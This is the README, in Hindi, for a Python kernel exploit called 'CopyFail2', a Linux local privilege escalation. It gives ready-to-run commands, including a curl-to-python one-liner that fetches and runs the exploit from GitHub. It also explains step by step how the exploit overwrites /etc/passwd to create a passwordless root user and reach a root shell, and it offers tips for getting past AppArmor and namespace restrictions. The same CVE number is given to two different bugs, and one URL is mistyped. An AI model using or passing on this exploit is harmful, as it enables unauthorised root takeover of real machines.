CopyFail2 (CVE-2026-31431) - पायथन कार्यान्वयन

xfrm ESP-in-UDP MSG_SPLICE_PAGES no-COW फास्ट पथ का लाभ उठाने वाले CopyFail2 कर्नेल एक्सप्लॉइट का पायथन पोर्ट, जो विशेषाधिकार-रहित Linux स्थानीय विशेषाधिकार वृद्धि के लिए उपयोग होता है।

/etc/passwd में एक nologin/false प्रविष्टि को पासवर्ड-रहित uid-0 उपयोगकर्ता से बदलता है और su के माध्यम से रूट शेल में प्रवेश करता है।

भेद्यता

कर्नेल बग xfrm ESP-in-UDP एनकैप्सुलेशन द्वारा उपयोग किए जाने वाले UDP splice पथ में स्थित है। MSG_SPLICE_PAGES के साथ UDP सॉकेट में splice() करने से पृष्ठ कॉपी-ऑन-राइट को ट्रिगर किए बिना रिसीवर के पेज कैश में मैप हो जाते हैं। यह किसी भी फ़ाइल में लिखने की अनुमति देता है जो वर्तमान में पेज कैश में मैप की गई है, भले ही वह केवल-पठनीय रूप में खोली गई हो।

• मूल C कार्यान्वयन: 0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo
• अपस्ट्रीम फिक्स: netdev/net.git

आवश्यकताएँ

• Linux कर्नेल >= 6.5 (MSG_SPLICE_PAGES UDP समर्थन)
• libcrypto.so (OpenSSL)
• Python 3.8+
• CAP_NET_ADMIN या उपयोगकर्ता नेमस्पेस बनाने की क्षमता

कौन सा संस्करण उपयोग करें

यह रिपॉजिटरी दो वेरिएंट प्रदान करती है। दोनों समान परिणाम देते हैं; अपनी बाधाओं के आधार पर चुनें।

त्वरित प्रारंभ (अनुकूलित)

# पाइप के माध्यम से एक-लाइनर
python3 -c "$(curl -sL https://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py)"

# सहेजी गई फ़ाइल
python3 exploit.py

# परिवर्तन वापस करें
python3 exploit.py --clean

त्वरित प्रारंभ (कच्चा/संदर्भ)

python3 exploit_raw.py
python3 exploit_raw.py --clean

Ubuntu पर apparmor_restrict_unprivileged_userns सक्षम होने पर, पहले फ़ाइल सहेजें और डिस्क से चलाएं; पाइप मोड AppArmor बायपास प्रक्रिया को छोड़ देता है।

curl -sL ttps://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py > /tmp/x.py
python3 /tmp/x.py

यह कैसे काम करता है

1. एक AES-GCM IV को ब्रूट-फोर्स करता है जिसका कीस्ट्रीम बाइट मूल /etc/passwd बाइट को वांछित मान में XOR करता है।
2. 127.0.0.1:4500 पर एक स्थानीय xfrm ESP-in-UDP स्टेट स्थापित करता है।
3. नकली ESP हेडर और ICV युक्त एक हमलावर-नियंत्रित बैकिंग फ़ाइल तैयार करता है।
4. तीन रेंज (ESP हेडर, /etc/passwd से लक्ष्य बाइट, ICV) को पाइप में splice() करता है।
5. पाइप को UDP सॉकेट में splice() करता है, कर्नेल बग को ट्रिगर करता है और बाइट को पेज कैश में लिखता है।
6. nologin/false लाइन को sick::0:0:...:/:/bin/bash से बदलने के लिए हर अलग बाइट के लिए दोहराता है।
7. su - sick रूट में प्रवेश कराता है (PAM nullok खाली पासवर्ड स्वीकार करता है)।

परीक्षण किया गया

समस्या निवारण

cannot acquire CAP_NET_ADMIN

आपके कर्नेल में kernel.unprivileged_userns_clone=0 हो सकता है। इसे सक्षम करें:

sudo sysctl kernel.unprivileged_userns_clone=1

यदि Docker के अंदर चल रहे हैं, तो कंटेनर को --privileged या --cap-add=SYS_ADMIN के साथ प्रारंभ करें।

श्रेय

• Hyunwoo Kim (imv4bel) और Kuan-Ting Chen — खोज और अपस्ट्रीम फिक्स
• Steffen Klassert — IPsec अनुरक्षक, फिक्स पोस्ट किया
• Brad Spengler / grsecurity — "copyfail-class" शब्द गढ़ा
• Theori / Xint — मूल Copy Fail (CVE-2026-31431)
• 0xdeadbeefnetwork द्वारा मूल C एक्सप्लॉइट
• guiimoraes द्वारा पायथन एक्सप्लॉइट

अस्वीकरण

यह उपकरण केवल अधिकृत सुरक्षा अनुसंधान और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। उन प्रणालियों के विरुद्ध उपयोग न करें जिनके स्वामी आप नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति आपके पास नहीं है। लेखक इस सॉफ़्टवेयर के दुरुपयोग या क्षति के लिए कोई दायित्व नहीं लेते हैं।